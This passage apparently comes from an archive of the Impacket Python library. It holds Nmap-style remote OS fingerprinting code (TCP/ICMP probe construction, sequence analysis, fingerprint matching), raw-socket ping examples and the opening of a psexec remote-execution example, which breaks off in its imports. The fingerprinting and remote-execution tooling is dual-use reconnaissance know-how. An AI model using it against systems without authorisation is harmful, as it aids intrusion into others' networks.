nmap2_seq_1(nmap2_seq): # Packet #1: window scale (10), # NOP, # MSS (1460), # timestamp (TSval: 0xFFFFFFFF; TSecr: 0), # SACK permitted. # The window field is 1. tcp_options = [ TCPOption(TCPOption.TCPOPT_WINDOW, 10), TCPOption(TCPOption.TCPOPT_NOP), TCPOption(TCPOption.TCPOPT_MAXSEG, 1460), TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF), TCPOption(TCPOption.TCPOPT_SACK_PERMITTED) ] def __init__(self, id, addresses, tcp_ports): nmap2_seq.__init__(self, id, addresses, tcp_ports, self.tcp_options) self.t.set_th_win(1) class nmap2_seq_2(nmap2_seq): # Packet #2: MSS (1400), # window scale (0), # SACK permitted, # timestamp (TSval: 0xFFFFFFFF; TSecr: 0), # EOL. # The window field is 63. tcp_options = [ TCPOption(TCPOption.TCPOPT_MAXSEG, 1400), TCPOption(TCPOption.TCPOPT_WINDOW, 0), TCPOption(TCPOption.TCPOPT_SACK_PERMITTED), TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF), TCPOption(TCPOption.TCPOPT_EOL) ] def __init__(self, id, addresses, tcp_ports): nmap2_seq.__init__(self, id, addresses, tcp_ports, self.tcp_options) self.t.set_th_win(63) class nmap2_seq_3(nmap2_seq): # Packet #3: Timestamp (TSval: 0xFFFFFFFF; TSecr: 0), # NOP, # NOP, # window scale (5), # NOP, # MSS (640). # The window field is 4. tcp_options = [ TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF), TCPOption(TCPOption.TCPOPT_NOP), TCPOption(TCPOption.TCPOPT_NOP), TCPOption(TCPOption.TCPOPT_WINDOW, 5), TCPOption(TCPOption.TCPOPT_NOP), TCPOption(TCPOption.TCPOPT_MAXSEG, 640) ] def __init__(self, id, addresses, tcp_ports): nmap2_seq.__init__(self, id, addresses, tcp_ports, self.tcp_options) self.t.set_th_win(4) class nmap2_seq_4(nmap2_seq): # Packet #4: SACK permitted, # Timestamp (TSval: 0xFFFFFFFF; TSecr: 0), # window scale (10), # EOL. # The window field is 4. tcp_options = [ TCPOption(TCPOption.TCPOPT_SACK_PERMITTED), TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF), TCPOption(TCPOption.TCPOPT_WINDOW, 10), TCPOption(TCPOption.TCPOPT_EOL) ] def __init__(self, id, addresses, tcp_ports): nmap2_seq.__init__(self, id, addresses, tcp_ports, self.tcp_options) self.t.set_th_win(4) class nmap2_seq_5(nmap2_seq): # Packet #5: MSS (536), # SACK permitted, # Timestamp (TSval: 0xFFFFFFFF; TSecr: 0), # window scale (10), # EOL. # The window field is 16. tcp_options = [ TCPOption(TCPOption.TCPOPT_MAXSEG, 536), TCPOption(TCPOption.TCPOPT_SACK_PERMITTED), TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF), TCPOption(TCPOption.TCPOPT_WINDOW, 10), TCPOption(TCPOption.TCPOPT_EOL) ] def __init__(self, id, addresses, tcp_ports): nmap2_seq.__init__(self, id, addresses, tcp_ports, self.tcp_options) self.t.set_th_win(16) class nmap2_seq_6(nmap2_seq): # Packet #6: MSS (265), # SACK permitted, # Timestamp (TSval: 0xFFFFFFFF; TSecr: 0). # The window field is 512. tcp_options = [ TCPOption(TCPOption.TCPOPT_MAXSEG, 265), TCPOption(TCPOption.TCPOPT_SACK_PERMITTED), TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF) ] def __init__(self, id, addresses, tcp_ports): nmap2_seq.__init__(self, id, addresses, tcp_ports, self.tcp_options) self.t.set_th_win(512) class nmap1_seq_container(os_id_test): def __init__(self, num_seq_samples, responses, seq_diffs, ts_diffs, time_diffs): os_id_test.__init__(self, 0) self.num_seq_samples = num_seq_samples self.seq_responses = responses self.seq_num_responses = len(responses) self.seq_diffs = seq_diffs self.ts_diffs = ts_diffs self.time_diffs = time_diffs self.pre_ts_seqclass = nmap1_seq.TS_SEQ_UNKNOWN def test_id(self): return "TSEQ" def set_ts_seqclass(self, ts_seqclass): self.pre_ts_seqclass = ts_seqclass def process(self): ipid_seqclass = self.ipid_sequence() if nmap1_seq.TS_SEQ_UNKNOWN != self.pre_ts_seqclass: ts_seqclass = self.pre_ts_seqclass else: ts_seqclass = self.ts_sequence() if self.seq_num_responses >= 4: seq_seqclass = self.seq_sequence() if nmap1_seq.SEQ_UNKNOWN != seq_seqclass: self.add_seqclass(seq_seqclass) if nmap1_seq.IPID_SEQ_UNKNOWN != ipid_seqclass: self.add_ipidclass(ipid_seqclass) if nmap1_seq.TS_SEQ_UNKNOWN != ts_seqclass: self.add_tsclass(ts_seqclass) else: PyImpact.t_log(1, "Insufficient responses for TCP sequencing (%d out of %d), OS detection may be less accurate." % (self.seq_num_responses, self.num_seq_samples)) def get_final_result(self): "Returns a string representation of the final result of this test or None if no response was received" return {self.test_id(): self.get_result_dict()} def ipid_sequence(self): if self.seq_num_responses < 2: return nmap1_seq.IPID_SEQ_UNKNOWN ipid_diffs = array.array('H', [0] * (self.seq_num_responses - 1)) null_ipids = 1 for i in xrange(1, self.seq_num_responses): prev_ipid = self.seq_responses[i-1].get_ipid() cur_ipid = self.seq_responses[i].get_ipid() if cur_ipid < prev_ipid and (cur_ipid > 500 or prev_ipid < 65000): return nmap1_seq.IPID_SEQ_RD if prev_ipid != 0 or cur_ipid != 0: null_ipids = 0 ipid_diffs[i-1] = abs(cur_ipid - prev_ipid) if null_ipids: return nmap1_seq.IPID_SEQ_ZERO # Battle plan: # If any diff is > 1000, set to random, if 0, set to constant. # If any of the diffs are 1, or all are less than 9, set to incremental. for i in xrange(0, self.seq_num_responses - 1): if ipid_diffs[i] > 1000: return nmap1_seq.IPID_SEQ_RPI if ipid_diffs[i] == 0: return nmap1_seq.IPID_SEQ_CONSTANT is_incremental = 1 # All diferences are less than 9 is_ms = 1 # All diferences are multiples of 256 for i in xrange(0, self.seq_num_responses - 1): if ipid_diffs[i] == 1: return nmap1_seq.IPID_SEQ_INCR if is_ms and ipid_diffs[i] < 2560 and (ipid_diffs[i] % 256) != 0: is_ms = 0 if ipid_diffs[i] > 9: is_incremental = 0 if is_ms: return nmap1_seq.IPID_SEQ_BROKEN_INCR if is_incremental: return nmap1_seq.IPID_SEQ_INCR return nmap1_seq.IPID_SEQ_UNKNOWN def ts_sequence(self): if self.seq_num_responses < 2: return nmap1_seq.TS_SEQ_UNKNOWN # Battle plan: # 1) Compute average increments per second, and variance in incr. per second. # 2) If any are 0, set to constant. # 3) If variance is high, set to random incr. [ skip for now ] # 4) if ~10/second, set to appropriate thing. # 5) Same with ~100/s. avg_freq = 0.0 for i in xrange(0, self.seq_num_responses - 1): dhz = self.ts_diffs[i] / self.time_diffs[i] avg_freq += dhz / (self.seq_num_responses - 1) PyImpact.t_log(2, "The avg TCP TS HZ is: %f" % avg_freq) if 0 < avg_freq and avg_freq < 3.9: return nmap1_seq.TS_SEQ_2HZ if 85 < avg_freq and avg_freq < 115: return nmap1_seq.TS_SEQ_100HZ if 900 < avg_freq and avg_freq < 1100: return nmap1_seq.TS_SEQ_1000HZ return nmap1_seq.TS_SEQ_UNKNOWN def seq_sequence(self): self.seq_gcd = reduce(my_gcd, self.seq_diffs) avg_incr = 0 seqclass = nmap1_seq.SEQ_UNKNOWN if 0 != self.seq_gcd: map(lambda x, gcd = self.seq_gcd: x / gcd, self.seq_diffs) for i in xrange(0, self.seq_num_responses - 1): if abs(self.seq_responses[i+1].get_seq() - self.seq_responses[i].get_seq()) > 50000000: seqclass = nmap1_seq.SEQ_TR; self.index = 9999999 break avg_incr += self.seq_diffs[i] if 0 == self.seq_gcd: seqclass = nmap1_seq.SEQ_CONSTANT self.index = 0 elif 0 == self.seq_gcd % 64000: seqclass = nmap1_seq.SEQ_64K self.index = 1 elif 0 == self.seq_gcd % 800: seqclass = nmap1_seq.SEQ_i800 self.index = 10 elif nmap1_seq.SEQ_UNKNOWN == seqclass: avg_incr = int(.5 + avg_incr / (self.seq_num_responses - 1)) sum_incr = 0.0 for i in range(0, self.seq_num_responses - 1): d = abs(self.seq_diffs[i] - avg_incr) sum_incr += float(d * d) sum_incr /= self.seq_num_responses - 1 self.index = int(.5 + math.sqrt(sum_incr)) if self.index < 75: seqclass = nmap1_seq.SEQ_TD else: seqclass = nmap1_seq.SEQ_RI return seqclass seqclasses = { nmap1_seq.SEQ_64K: '64K', nmap1_seq.SEQ_TD: 'TD', nmap1_seq.SEQ_RI: 'RI', nmap1_seq.SEQ_TR: 'TR', nmap1_seq.SEQ_i800: 'i800', nmap1_seq.SEQ_CONSTANT: 'C', } def add_seqclass(self, id): self.add_result('CLASS', nmap1_seq_container.seqclasses[id]) if nmap1_seq.SEQ_CONSTANT == id: self.add_result('VAL', '%i' % self.seq_responses[0].get_seq()) elif id in (nmap1_seq.SEQ_TD, nmap1_seq.SEQ_RI): self.add_result('GCD', '%i' % self.seq_gcd) self.add_result('SI', '%i' % self.index) tsclasses = { nmap1_seq.TS_SEQ_ZERO: '0', nmap1_seq.TS_SEQ_2HZ: '2HZ', nmap1_seq.TS_SEQ_100HZ: '100HZ', nmap1_seq.TS_SEQ_1000HZ: '1000HZ', nmap1_seq.TS_SEQ_UNSUPPORTED: 'U', } def add_tsclass(self, id): self.add_result('TS', nmap1_seq_container.tsclasses[id]) ipidclasses = { nmap1_seq.IPID_SEQ_INCR: 'I', nmap1_seq.IPID_SEQ_BROKEN_INCR: 'BI', nmap1_seq.IPID_SEQ_RPI: 'RPI', nmap1_seq.IPID_SEQ_RD: 'RD', nmap1_seq.IPID_SEQ_CONSTANT: 'C', nmap1_seq.IPID_SEQ_ZERO: 'Z', } def add_ipidclass(self, id): self.add_result('IPID', nmap1_seq_container.ipidclasses[id]) class nmap2_seq_container(os_id_test): def __init__(self, num_seq_samples, responses, seq_diffs, ts_diffs, time_diffs): os_id_test.__init__(self, 0) self.num_seq_samples = num_seq_samples self.seq_responses = responses self.seq_num_responses = len(responses) self.seq_diffs = seq_diffs self.ts_diffs = ts_diffs self.time_diffs = time_diffs self.pre_ts_seqclass = nmap2_seq.TS_SEQ_UNKNOWN def test_id(self): return "SEQ" def set_ts_seqclass(self, ts_seqclass): self.pre_ts_seqclass = ts_seqclass def process(self): if self.seq_num_responses >= 4: self.calc_ti() self.calc_ts() self.calc_sp() else: self.add_result('R', 'N') PyImpact.t_log(1, "Insufficient responses for TCP sequencing (%d out of %d), OS detection may be less accurate." % (self.seq_num_responses, self.num_seq_samples)) def get_final_result(self): return {self.test_id(): self.get_result_dict()} def calc_ti(self): if self.seq_num_responses < 2: return ipidclasses = { nmap2_seq.IPID_SEQ_INCR: 'I', nmap2_seq.IPID_SEQ_BROKEN_INCR: 'BI', nmap2_seq.IPID_SEQ_RPI: 'RI', nmap2_seq.IPID_SEQ_RD: 'RD', nmap2_seq.IPID_SEQ_CONSTANT: 'C', nmap2_seq.IPID_SEQ_ZERO: 'Z', } ipid_diffs = array.array('H', [0] * (self.seq_num_responses - 1)) # Random and zero null_ipids = 1 for i in xrange(1, self.seq_num_responses): prev_ipid = self.seq_responses[i-1].get_ipid() cur_ipid = self.seq_responses[i].get_ipid() if prev_ipid != 0 or cur_ipid != 0: null_ipids = 0 if prev_ipid <= cur_ipid: ipid_diffs[i-1] = cur_ipid - prev_ipid else: ipid_diffs[i-1] = (cur_ipid - prev_ipid + 65536) & 0xffff if self.seq_num_responses > 2 and ipid_diffs[i-1] > 20000: self.add_result('TI', ipidclasses[nmap2_seq.IPID_SEQ_RD]) return if null_ipids: self.add_result('TI', ipidclasses[nmap2_seq.IPID_SEQ_ZERO]) return # Constant all_zero = 1 for i in xrange(0, self.seq_num_responses - 1): if ipid_diffs[i] != 0: all_zero = 0 break if all_zero: self.add_result('TI', ipidclasses[nmap2_seq.IPID_SEQ_CONSTANT]) return # Random positive increments for i in xrange(0, self.seq_num_responses - 1): if ipid_diffs[i] > 1000 and \ ((ipid_diffs[i] % 256 != 0) or \ ((ipid_diffs[i] % 256 == 0) and (ipid_diffs[i] >= 25600))): self.add_result('TI', ipidclasses[nmap2_seq.IPID_SEQ_RPI]) return # Broken Increment and Incremental is_incremental = 1 # All diferences are less than 10 is_ms = 1 # All diferences are multiples of 256 and no greater than 5120 for i in xrange(0, self.seq_num_responses - 1): if is_ms and ((ipid_diffs[i] > 5120) or (ipid_diffs[i] % 256) != 0): is_ms = 0 if is_incremental and ipid_diffs[i] > 9: is_incremental = 0 if is_ms: self.add_result('TI', ipidclasses[nmap2_seq.IPID_SEQ_BROKEN_INCR]) elif is_incremental: self.add_result('TI', ipidclasses[nmap2_seq.IPID_SEQ_INCR]) def calc_ts(self): # 1. If any of the responses have no timestamp option, TS # is set to U (unsupported). # 2. If any of the timestamp values are zero, TS is set to 0. # 3. If the average increments per second falls within the # ranges 0-5.66, 70-150, or 150-350, TS is set to 1, 7, or 8, # respectively. These three ranges get special treatment # because they correspond to the 2 Hz, 100 Hz, and 200 Hz # frequencies used by many hosts. # 4. In all other cases, Nmap records the binary logarithm of # the average increments per second, rounded to the nearest # integer. Since most hosts use 1,000 Hz frequencies, A is # a common result. if self.pre_ts_seqclass == nmap2_seq.TS_SEQ_ZERO: self.add_result('TS', '0') elif self.pre_ts_seqclass == nmap2_seq.TS_SEQ_UNSUPPORTED: self.add_result('TS', 'U') elif self.seq_num_responses < 2: return avg_freq = 0.0 for i in xrange(0, self.seq_num_responses - 1): dhz = self.ts_diffs[i] / self.time_diffs[i] avg_freq += dhz / (self.seq_num_responses - 1) PyImpact.t_log(2, "The avg TCP TS HZ is: %f" % avg_freq) if avg_freq <= 5.66: self.add_result('TS', "1") elif 70 < avg_freq and avg_freq <= 150: self.add_result('TS', "7") elif 150 < avg_freq and avg_freq <= 350: self.add_result('TS', "8") else: ts = int(round(.5 + math.log(avg_freq)/math.log(2))) self.add_result('TS', "%X" % ts) def calc_sp(self): seq_gcd = reduce(my_gcd, self.seq_diffs) seq_avg_rate = 0.0 for i in xrange(0, self.seq_num_responses - 1): seq_avg_rate += self.seq_diffs[i] / self.time_diffs[i] seq_avg_rate /= (self.seq_num_responses - 1) seq_rate = seq_avg_rate si_index = 0 seq_stddev = 0 if 0 == seq_gcd: seq_rate = 0 else: seq_rate = int(round(.5 + (math.log(seq_rate) / math.log(2)) * 8)) div_gcd = 1 if seq_gcd > 9: div_gcd = seq_gcd for i in xrange(0, self.seq_num_responses - 1): rtmp = (self.seq_diffs[i] / self.time_diffs[i]) / div_gcd - \ seq_avg_rate / div_gcd seq_stddev += rtmp * rtmp seq_stddev /= self.seq_num_responses - 2 seq_stddev = math.sqrt(seq_stddev) if seq_stddev <= 1: si_index = 0 else: si_index = int(round(.5 + (math.log(seq_stddev) / math.log(2)) * 8.0)) self.add_result('SP', "%X" % si_index) self.add_result('GCD', "%X" % seq_gcd) self.add_result('ISR', "%X" % seq_rate) class nmap2_ops_container(os_id_test): def __init__(self, responses): os_id_test.__init__(self, 0) self.seq_responses = responses self.seq_num_responses = len(responses) def test_id(self): return "OPS" def process(self): if self.seq_num_responses != 6: self.add_result('R', 'N') return for i in xrange(0, self.seq_num_responses): tests = nmap2_tcp_tests(self.seq_responses[i].get_ip(), self.seq_responses[i].get_tcp(), 0, 0) self.add_result("O%i" % (i+1), tests.get_options()) def get_final_result(self): if not self.get_result_dict(): return None else: return {self.test_id(): self.get_result_dict()} class nmap2_win_container(os_id_test): def __init__(self, responses): os_id_test.__init__(self, 0) self.seq_responses = responses self.seq_num_responses = len(responses) def test_id(self): return "WIN" def process(self): if self.seq_num_responses != 6: self.add_result('R', 'N') return for i in xrange(0, self.seq_num_responses): tests = nmap2_tcp_tests(self.seq_responses[i].get_ip(), self.seq_responses[i].get_tcp(), 0, 0) self.add_result("W%i" % (i+1), tests.get_win()) def get_final_result(self): if not self.get_result_dict(): return None else: return {self.test_id(): self.get_result_dict()} class nmap2_t1_container(os_id_test): def __init__(self, responses, seq_base): os_id_test.__init__(self, 0) self.seq_responses = responses self.seq_num_responses = len(responses) self.seq_base = seq_base def test_id(self): return "T1" def process(self): # R, DF, T*, TG*, W-, S, A, F, O-, RD*, Q if self.seq_num_responses < 1: self.add_result("R","N") return response = self.seq_responses[0] tests = nmap2_tcp_tests(response.get_ip(), response.get_tcp(), self.seq_base, nmap2_tcp_probe.acknowledgment) self.add_result("R", "Y") self.add_result("DF", tests.get_df()) self.add_result("S", tests.get_seq()) self.add_result("A", tests.get_ack()) self.add_result("F", tests.get_flags()) self.add_result("Q", tests.get_quirks()) def get_final_result(self): if not self.get_result_dict(): return None else: return {self.test_id(): self.get_result_dict()} class nmap2_icmp_container(os_id_test): def __init__(self, responses): os_id_test.__init__(self, 0) self.icmp_responses = responses self.icmp_num_responses = len(responses) def test_id(self): return "IE" def process(self): # R, DFI, T*, TG*, TOSI, CD, SI, DLI* if self.icmp_num_responses != 2: self.add_result("R","N") return ip1 = self.icmp_responses[0].child() ip2 = self.icmp_responses[1].child() icmp1 = ip1.child() icmp2 = ip2.child() self.add_result("R", "Y") # Value Description # N Neither of the ping responses have the DF bit set. # S Both responses echo the DF value of the probe. # Y Both of the response DF bits are set. # O The one remaining other combination-both responses have the DF bit toggled. if not ip1.get_ip_df() and not ip2.get_ip_df(): self.add_result("DFI","N") elif ip1.get_ip_df() and not ip2.get_ip_df(): self.add_result("DFI","S") elif ip1.get_ip_df() and ip2.get_ip_df(): self.add_result("DFI","Y") else: self.add_result("DFI","O") # Value Description # Z Both TOS values are zero. # S Both TOS values are each the same as in the corresponding probe. # When they both use the same non-zero number, it is recorded here. # O Any other combination. if ip1.get_ip_tos() == 0 and ip2.get_ip_tos() == 0: self.add_result("TOSI","Z") elif ip1.get_ip_tos() == 0 and ip2.get_ip_tos() == 4: self.add_result("TOSI","S") elif ip1.get_ip_tos() == ip2.get_ip_tos(): self.add_result("TOSI","%X" % ip1.get_ip_tos()) else: self.add_result("TOSI","O") # Value Description # Z Both code values are zero. # S Both code values are the same as in the corresponding probe. # When they both use the same non-zero number, it is shown here. # O Any other combination. if icmp1.get_icmp_code() == 0 and icmp2.get_icmp_code() == 0: self.add_result("CD","Z") elif icmp1.get_icmp_code() == 9 and icmp2.get_icmp_code() == 0: self.add_result("CD","S") elif icmp1.get_icmp_code() == icmp2.get_icmp_code(): self.add_result("CD","%X" % icmp1.get_icmp_code()) else: self.add_result("CD","O") # Value Description # Z Both sequence numbers are set to 0. # S Both sequence numbers echo the ones from the probes. # When they both use the same non-zero number, it is recorded here. # O Any other combination. if icmp1.get_icmp_seq() == 0 and icmp2.get_icmp_seq() == 0: self.add_result("SI","Z") elif (icmp1.get_icmp_seq() == nmap2_icmp_echo_probe_1.sequence_number and icmp2.get_icmp_seq() == nmap2_icmp_echo_probe_1.sequence_number + 1): self.add_result("SI","S") elif icmp1.get_icmp_seq() == icmp2.get_icmp_seq(): self.add_result("SI","%X" % icmp1.get_icmp_code()) else: self.add_result("SI","O") def get_final_result(self): if not self.get_result_dict(): return None else: return {self.test_id(): self.get_result_dict()} class nmap1_tcp_closed_1(nmap1_tcp_probe): def __init__(self, id, addresses, tcp_ports): nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 0) self.t.set_SYN() def test_id(self): return "T5" def is_mine(self, packet): if tcp_probe.is_mine(self, packet): ip = packet.child() if not ip: return 0 tcp = ip.child() if not tcp: return 0 if tcp.get_RST(): return 1 else: return 0 else: return 0 class nmap2_tcp_closed_1(nmap2_tcp_probe_2_6): # ... # T5 sends a TCP SYN packet without IP DF and a window field of # 31337 to a closed port # ... def __init__(self, id, addresses, tcp_ports): nmap2_tcp_probe_2_6.__init__(self, id, addresses, tcp_ports, 0) self.t.set_SYN() self.i.set_ip_df(0) self.t.set_th_win(31337) def test_id(self): return "T5" class nmap1_tcp_closed_2(nmap1_tcp_probe): def __init__(self, id, addresses, tcp_ports): nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 0) self.t.set_ACK() def test_id(self): return "T6" class nmap2_tcp_closed_2(nmap2_tcp_probe_2_6): # ... # T6 sends a TCP ACK packet with IP DF and a window field of # 32768 to a closed port. # ... def __init__(self, id, addresses, tcp_ports): nmap2_tcp_probe_2_6.__init__(self, id, addresses, tcp_ports, 0) self.t.set_ACK() self.i.set_ip_df(1) self.t.set_th_win(32768) def test_id(self): return "T6" class nmap1_tcp_closed_3(nmap1_tcp_probe): def __init__(self, id, addresses, tcp_ports): nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 0) self.t.set_FIN() self.t.set_URG() self.t.set_PSH() def test_id(self): return "T7" class nmap2_tcp_closed_3(nmap2_tcp_probe_7): # ... # T7 sends a TCP packet with the FIN, PSH, and URG flags set and a # window field of 65535 to a closed port. The IP DF bit is not set. # ... def __init__(self, id, addresses, tcp_ports): nmap2_tcp_probe_7.__init__(self, id, addresses, tcp_ports, 0) self.t.set_FIN() self.t.set_URG() self.t.set_PSH() self.t.set_th_win(65535) self.i.set_ip_df(0) def test_id(self): return "T7" class NMAP2_OS_Class: def __init__(self, vendor, name, family, device_type): self.__vendor = vendor self.__name = name self.__family = family self.__device_type = device_type def get_vendor(self): return self.__vendor def get_name(self): return self.__name def get_family(self): return self.__family def get_device_type(self): return self.__device_type class NMAP2_Fingerprint: def __init__(self, id, os_class, tests): self.__id = id self.__os_class = os_class self.__tests = tests def get_id(self): return self.__id def get_os_class(self): return self.__os_class def get_tests(self): return self.__tests def __str__(self): ret = "FP: [%s]" % self.__id ret += "\n vendor: %s" % self.__os_class.get_vendor() ret += "\n name: %s" % self.__os_class.get_name() ret += "\n family: %s" % self.__os_class.get_family() ret += "\n device_type: %s" % self.__os_class.get_device_type() for test in self.__tests: ret += "\n test: %s" % test for pair in self.__tests[test]: ret += "\n %s = [%s]" % (pair, self.__tests[test][pair]) return ret literal_conv = { "RIPL" : { "G" : 0x148 }, "RID" : { "G" : 0x1042 }, "RUL" : { "G" : 0x134 } } def parse_int(self, field, value): try: return int(value, 16) except ValueError, err: if NMAP2_Fingerprint.literal_conv.has_key( field ): if NMAP2_Fingerprint.literal_conv[field].has_key(value): return NMAP2_Fingerprint.literal_conv[field][value] return 0 def match(self, field, ref, value): options = ref.split("|") for option in options: if option.startswith(">"): if self.parse_int(field, value) > \ self.parse_int(field, option[1:]): return True elif option.startswith("<"): if self.parse_int(field, value) < \ self.parse_int(field, option[1:]): return True elif option.find("-") > -1: range = option.split("-") if (self.parse_int(field, value) >= \ self.parse_int(field, range[0]) and \ self.parse_int(field, value) <= \ self.parse_int(field, range[1])): return True else: if str(value) == str(option): return True return False def compare(self, sample, mp): max_points = 0 total_points = 0 for test in self.__tests: # ignore unknown response lines: if not sample.has_key(test): continue for field in self.__tests[test]: # ignore unsupported fields: if not sample[test].has_key(field) or \ not mp.has_key(test) or \ not mp[test].has_key(field): continue ref = self.__tests[test][field] value = sample[test][field] points = int(mp[test][field]) max_points += points if self.match(field, ref, value): total_points += points return (total_points / float(max_points)) * 100 class NMAP2_Fingerprint_Matcher: def __init__(self, filename): self.__filename = filename def find_matches(self, res, threshold): output = [] try: infile = open(self.__filename,"r") mp = self.parse_mp(self.matchpoints(infile)) for fingerprint in self.fingerprints(infile): fp = self.parse_fp(fingerprint) similarity = fp.compare(res, mp) if similarity >= threshold: print "\"%s\" matches with an accuracy of %.2f%%" \ % (fp.get_id(), similarity) output.append((similarity / 100, fp.get_id(), (fp.get_os_class().get_vendor(), fp.get_os_class().get_name(), fp.get_os_class().get_family(), fp.get_os_class().get_device_type()))) infile.close() except IOError, err: print "IOError: %s", err return output def sections(self, infile, token): OUT = 0 IN = 1 state = OUT output = [] for line in infile: line = line.strip() if state == OUT: if line.startswith(token): state = IN output = [line] elif state == IN: if line: output.append(line) else: state = OUT yield output output = [] if output: yield output def fingerprints(self, infile): for section in self.sections(infile,"Fingerprint"): yield section def matchpoints(self, infile): return self.sections(infile,"MatchPoints").next() def parse_line(self, line): name = line[:line.find("(")] pairs = line[line.find("(") + 1 : line.find(")")] test = {} for pair in pairs.split("%"): pair = pair.split("=") test[pair[0]] = pair[1] return (name, test) def parse_fp(self, fp): tests = {} for line in fp: if line.startswith("#"): continue elif line.startswith("Fingerprint"): fingerprint = line[len("Fingerprint") + 1:] elif line.startswith("Class"): (vendor, name, family, device_type) = line[len("Class") + 1:].split("|") os_class = NMAP2_OS_Class(vendor.strip(), name.strip(), family.strip(), device_type.strip()) else: test = self.parse_line(line) tests[test[0]] = test[1] return NMAP2_Fingerprint(fingerprint, os_class, tests) def parse_mp(self, fp): tests = {} for line in fp: if line.startswith("#"): continue elif line.startswith("MatchPoints"): continue else: test = self.parse_line(line) tests[test[0]] = test[1] return tests impacket-0.9.12/examples/ping.py 0000600 0000765 0000024 00000004764 12361767070 016615 0 ustar beto staff 0000000 0000000 #!/usr/bin/python # Copyright (c) 2003 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # $Id: ping.py 17 2003-10-27 17:36:57Z jkohen $ # # Simple ICMP ping. # # This implementation of ping uses the ICMP echo and echo-reply packets # to check the status of a host. If the remote host is up, it should reply # to the echo probe with an echo-reply packet. # Note that this isn't a definite test, as in the case the remote host is up # but refuses to reply the probes. # Also note that the user must have special access to be able to open a raw # socket, which this program requires. # # Authors: # Gerardo Richarte # Javier Kohen # # Reference for: # ImpactPacket: IP, ICMP, DATA. # ImpactDecoder. import select import socket import time import sys from impacket import ImpactDecoder, ImpactPacket if len(sys.argv) < 3: print "Use: %s " % sys.argv[0] sys.exit(1) src = sys.argv[1] dst = sys.argv[2] # Create a new IP packet and set its source and destination addresses. ip = ImpactPacket.IP() ip.set_ip_src(src) ip.set_ip_dst(dst) # Create a new ICMP packet of type ECHO. icmp = ImpactPacket.ICMP() icmp.set_icmp_type(icmp.ICMP_ECHO) # Include a 156-character long payload inside the ICMP packet. icmp.contains(ImpactPacket.Data("A"*156)) # Have the IP packet contain the ICMP packet (along with its payload). ip.contains(icmp) # Open a raw socket. Special permissions are usually required. s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) seq_id = 0 while 1: # Give the ICMP packet the next ID in the sequence. seq_id += 1 icmp.set_icmp_id(seq_id) # Calculate its checksum. icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 # Send it to the target host. s.sendto(ip.get_packet(), (dst, 0)) # Wait for incoming replies. if s in select.select([s],[],[],1)[0]: reply = s.recvfrom(2000)[0] # Use ImpactDecoder to reconstruct the packet hierarchy. rip = ImpactDecoder.IPDecoder().decode(reply) # Extract the ICMP packet from its container (the IP packet). ricmp = rip.child() # If the packet matches, report it to the user. if rip.get_ip_dst() == src and rip.get_ip_src() == dst and icmp.ICMP_ECHOREPLY == ricmp.get_icmp_type(): print "Ping reply for sequence #%d" % ricmp.get_icmp_id() time.sleep(1) impacket-0.9.12/examples/ping6.py 0000600 0000765 0000024 00000004643 12361767070 016677 0 ustar beto staff 0000000 0000000 #!/usr/bin/python # Copyright (c) 2003-2012 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # $Id: ping6.py 606 2012-07-14 23:07:54Z bethus@gmail.com $ # # Simple ICMP6 ping. # # This implementation of ping uses the ICMP echo and echo-reply packets # to check the status of a host. If the remote host is up, it should reply # to the echo probe with an echo-reply packet. # Note that this isn't a definite test, as in the case the remote host is up # but refuses to reply the probes. # Also note that the user must have special access to be able to open a raw # socket, which this program requires. # # Authors: # Alberto Solino # # Reference for: # ImpactPacket: ICMP6 # ImpactDecoder. import select import socket import time import sys from impacket import ImpactDecoder, ImpactPacket, IP6, ICMP6, version print version.BANNER if len(sys.argv) < 3: print "Use: %s " % sys.argv[0] sys.exit(1) src = sys.argv[1] dst = sys.argv[2] # Create a new IP packet and set its source and destination addresses. ip = IP6.IP6() ip.set_source_address(src) ip.set_destination_address(dst) ip.set_traffic_class(0) ip.set_flow_label(0) ip.set_hop_limit(64) # Open a raw socket. Special permissions are usually required. s = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_ICMPV6) payload = "A"*156 print "PING %s %d data bytes" % (dst, len(payload)) seq_id = 0 while 1: # Give the ICMP packet the next ID in the sequence. seq_id += 1 icmp = ICMP6.ICMP6.Echo_Request(1, seq_id, payload) # Have the IP packet contain the ICMP packet (along with its payload). ip.contains(icmp) ip.set_next_header(ip.child().get_ip_protocol_number()) ip.set_payload_length(ip.child().get_size()) icmp.calculate_checksum() # Send it to the target host. s.sendto(icmp.get_packet(), (dst, 0)) # Wait for incoming replies. if s in select.select([s],[],[],1)[0]: reply = s.recvfrom(2000)[0] # Use ImpactDecoder to reconstruct the packet hierarchy. rip = ImpactDecoder.ICMP6Decoder().decode(reply) # If the packet matches, report it to the user. if ICMP6.ICMP6.ECHO_REPLY == rip.get_type(): print "%d bytes from %s: icmp_seq=%d " % (rip.child().get_size()-4,dst,rip.get_echo_sequence_number()) time.sleep(1) impacket-0.9.12/examples/psexec.py 0000600 0000765 0000024 00000036111 12361767070 017136 0 ustar beto staff 0000000 0000000 #!/usr/bin/python # Copyright (c) 2003-2012 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # $Id: psexec.py 876 2013-10-29 16:04:19Z bethus@gmail.com $ # # PSEXEC like functionality example using RemComSvc (https://github.com/kavika13/RemCom) # # Author: # beto (bethus@gmail.com) # # Reference for: # DCE/RPC and SMB. import sys import os import cmd from impacket import version from impacket.smbconnection import * from impacket.dcerpc import transport, svcctl from impacket.structure import Structure from threading import Thread, Lock from impacket.examples import remcomsvc, serviceinstall import argparse import random import 